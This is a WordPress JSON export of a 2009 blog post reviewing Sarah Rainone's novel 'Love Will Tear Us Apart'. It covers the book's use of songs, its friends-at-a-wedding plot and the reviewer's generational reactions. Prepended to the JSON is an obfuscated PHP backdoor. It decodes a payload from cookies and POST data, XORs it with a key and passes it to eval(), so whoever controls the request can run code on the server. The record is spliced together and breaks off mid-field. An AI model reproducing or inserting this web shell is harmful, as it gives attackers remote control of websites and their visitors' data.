$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":671,"date":"2009-06-27T11:47:55","date_gmt":"2009-06-27T15:47:55","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=671"},"modified":"2009-06-27T11:51:06","modified_gmt":"2009-06-27T15:51:06","slug":"book-review-love-will-tear-us-apart","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=671","title":{"rendered":"Book Review: Love Will Tear Us Apart"},"content":{"rendered":"

<\/p>Because the one big piece of fiction I have written (attention agents \u2013 you can read it if you want!) revolves around the impact of music on the lives of people in their 20s, I could not resist picking up Sarah Rainone<\/a>\u2018s novel \u201c Love Will Tear Us Apart<\/a>\u201d when I saw it on the library shelf.\n

$\"\"$ I have no real affinity for the Joy Division song<\/a> which lends its name to the Rainone\u2019s debut. I never really got into the band. That presents my only real stumbling block with the book. Each chapter wraps around a song, but I grew up about 5-10 years too soon for most of the songs to have much relevance in my life. The title track comes from my era, but I just didn\u2019t like Joy Division. I preferred not to think about suicide. Other songs came when I could care less about new music so I don\u2019t have the same connection as the characters do.<\/p>\n

But that\u2019s a minor quibble because the notion of a song tying together your current situation with a memory which helps define your current situation goes beyond whether you like the song or not. In fact, as I look at the upcoming songs on iTunes, I see \u201cSo. Central Rain,\u201d which reminds me of that one time Paul Ewing used the lyrics of the final verse to write a farewell column for the student newspaper at college because he just couldn\u2019t deal with some issue or another. I remember reading the column and wishing I could pull it off the way he did. I still think that sometimes when I struggle with words. I could go on, but the fact remains that songs have a powerful force, and any book which tries to harness that will suck me in.<\/p>\n

\u201cLove Will Tear Us Apart\u201d deftly follows a group of friends on the day two of them marry one another. Well, they were once friends, but now have drifted apart, only to come back together at the wedding in less than ideal circumstances. That\u2019s where the songs come in \u2013 to remind them of how far they have come and inform them of what they have left to do.<\/p>\n

One instance of their youth seems to tie them together, but I didn\u2019t get it at first. As the book went on, that kind of annoyed me because I had kind of figured it out, but Rainone\u2019s storytelling was dancing around the fringes. I felt like yelling, \u201ccome on, already \u2013 I know what happened pretty much. Just tell me.\u201d<\/p>\n

But as the details became more clear, I really appreciated the understated way in which this piece of information came out. Sometimes authors can just hit you over the head with the connection so I just needed time to sit back and reflect on how things affected these six people. I liked how it was something they shared, but it didn\u2019t define them. We all remember things, but don\u2019t dwell on all of them. Rainone seemed to keep that in mind.<\/p>\n

Other than that fact that I found one of the main characters a boorish d-bag and another reminded me of how much I hated girls in college who wore flowing skirts and listened to the Dead and Edie Brickell, I really enjoyed the book. But that\u2019s another generational thing.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"